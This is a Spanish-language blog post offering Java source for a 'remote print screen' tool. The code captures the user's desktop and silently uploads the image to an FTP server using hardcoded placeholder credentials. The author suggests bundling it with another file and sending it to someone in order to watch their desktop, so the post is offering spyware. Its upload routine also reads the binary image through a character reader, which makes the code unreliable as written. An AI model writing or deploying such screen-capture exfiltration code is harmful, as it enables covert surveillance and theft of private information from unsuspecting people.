[JAVA] Remote Print Screen

Bueno aqui les dejo un codigo en JAVA que encontré en Internet y me pareció  interesante poder compartirlo con ustedes. Su funcionamiento es muy basico, lo ejecutas y toma un printscreen y lo manda a un servidor FTP, esto sirve absolutamente para nada. Lo puedes adjuntar y mandarlo con otro fichero para ver el escritorio de otra persona es todo. 

Como es de costumbre en mis codigos lo dividi por clases para que le puedan dar utilidad a cada una de las clases, extender sus metodos, o crear nuevos.

Clase Principal

/*
  Name: FTPPrintScreen
  Copyright: GNU General Public License
  Author: [C]orrupted[B]yte
  Date: 14/02/12
  Description: Piece of code to send a print screen of a remote desktop, trough FTP
*/
package ftpprintscreen;
public class Main
{
public static void main (String[] args)
{
FTP Send = new FTP();

                PrintScreen Screen = new PrintScreen();
System.out.println(“InicioImpresion”);
                Screen.Print();
                System.out.println(“TerminoImpresion”);
                System.out.println(“…”);
                System.out.println(“Inicio envio de screen”);
Send.Enviar();
                System.out.println(“Termino envio de screen”);
}
}

Clase para capturar la pantalla

/*
  Name: FTPPrintScreen
  Copyright: GNU General Public License
  Author: [C]orrupted[B]yte
  Date: 14/02/12
  Description: Piece of code to send a print screen of a remote desktop, trough FTP
*/
package ftpprintscreen;

import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import javax.imageio.ImageIO;

public class PrintScreen
{
    public void Print()
    {
        try
        {
            Toolkit T = Toolkit.getDefaultToolkit();
            Dimension Dim = T.getScreenSize();
            Rectangle Rect = new Rectangle(Dim);
            Robot Bot = new Robot();
            File F = new File(“Screenshot.jpg”);
            BufferedImage img = Bot.createScreenCapture(Rect);
            ImageIO.write(img,”jpg”,F);
        }
       
        catch(Exception E)
        {
            System.out.println(E);
        }
    }
}

Clase para el envío del archivo .jpg al servidor FTP

/*
  Name: FTPPrintScreen
  Copyright: GNU General Public License
  Author: [C]orrupted[B]yte
  Date: 14/02/12
  Description: Piece of code to send a print screen of a remote desktop, trough FTP
*/
package ftpprintscreen;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;

public class FTP
{
    public void Enviar()
    {
        String user = “Pass”;
        String pass = “User”;
        String server = “ftpHost”;
        String remotePath = “/Screenshot.jpg”;
        String localPath = “Screenshot.jpg”;

        try
        {
            URL url = new URL(“ftp://” + user + “:” + pass + “@” + server + remotePath + “;type=i”);
            URLConnection urlc = url.openConnection();
            OutputStream os = urlc.getOutputStream();
            BufferedReader br = new BufferedReader(new FileReader(localPath));

            int c;
            while ((c = br.read()) != -1)
            {
            os.write(c);
            }
            os.flush();
            os.close();
            br.close();

        }
       
       catch (Exception ex)
       {
            System.out.println(ex);
       }
    }   
}

Napster2011

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s